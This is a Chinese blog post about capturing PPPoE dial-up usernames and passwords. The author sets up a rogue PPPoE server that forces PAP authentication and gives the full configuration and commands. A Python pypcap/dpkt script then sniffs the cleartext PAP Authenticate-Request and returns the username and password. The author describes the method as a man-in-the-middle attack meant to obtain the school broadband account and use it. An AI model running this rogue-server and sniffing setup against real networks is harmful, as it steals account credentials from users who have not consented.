使用pypcap和dpkt抓取pppoe拨号帐号密码

学校电信宽带接入服务器更新,旧版本帐号算法(openkeeper)用不了了,新版网上还找不到算法,故决定利用中间人攻击,在局域网搭建pppoe接入服务器,然后利用pypcap抓取数据包,dpkt解析,抓到帐号密码后再加以利用。

PPPoE服务器搭建

我系统是Debian,直接输入命令安装

1
sudo apt-get install pppoe

新建配置文件/etc/ppp/pppoe-server-options

1
2
3
4
5
6
7
8
9
10
require-pap
login
lcp-echo-interval 10
lcp-echo-failure 2
ms-dns 8.8.8.8
ms-dns 8.8.4.4
netmask 255.255.255.0
defaultroute
noipdefault
usepeerdns

然后启动服务器

1
sudo pppoe-server -I wlan0

该操作将会制定PPPoE服务器在wlan0网卡上监听拨号请求。由于我目的只是获取帐号密码,所以其他配置不是必要的。

安装抓包解包所需库

pypcap库需要libpcap-dev,另外,在python3下用不了,导入失败

安装libpcap-dev

1
sudo apt-get install libpcap0.8-dev

安装pypcap和dpkt

1
2
sudo pip install pypcap
sudo pip install dpkt

代码

最后放上代码,调用get_config()函数,传入监听网卡,最后会返回一个字典,要拿来干嘛,就看人了,我是计划是跟openkeeper一样,迅速修改PPPoE拨号配置并调用拨号。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- coding: utf8 -*-
import pcap,dpkt
def get_pap_information(data):
# 对应包位置
pap_type=data[0]
pap_username_len=bytearray(list(data[4]))[0]
pap_username=data[5:5+pap_username_len]
# pap_password_len=bytearray(list(data[5+pap_username_len]))[0]
pap_password = data[6 + pap_username_len:]
return dict(type=pap_type,username=pap_username,password=pap_password)
def get_config(card="eth0"):
pap=None
sniffer=pcap.pcap(name=card,immediate=True)
for ts,pkt in sniffer:
eth=dpkt.ethernet.Ethernet(pkt)
if isinstance(eth.data,dpkt.pppoe.PPPoE): #判断是否为PPPoE数据包
pppoe=eth.data #拆包
if isinstance(pppoe.data,dpkt.pppoe.PPP): #判断是否为PPP包
ppp=pppoe.data #拆包
if ppp.pack_hdr()==b"\xc0\x23": #PPP PAP包的头
if ppp.data[0]==b"\x01": #类别为Authenticate-Request
pap=get_pap_information(ppp.data)
break
return pap

话说这pypcap和dpkt的官方文档可真简陋,使用方法几乎都是从别人的文章那里参考过来的。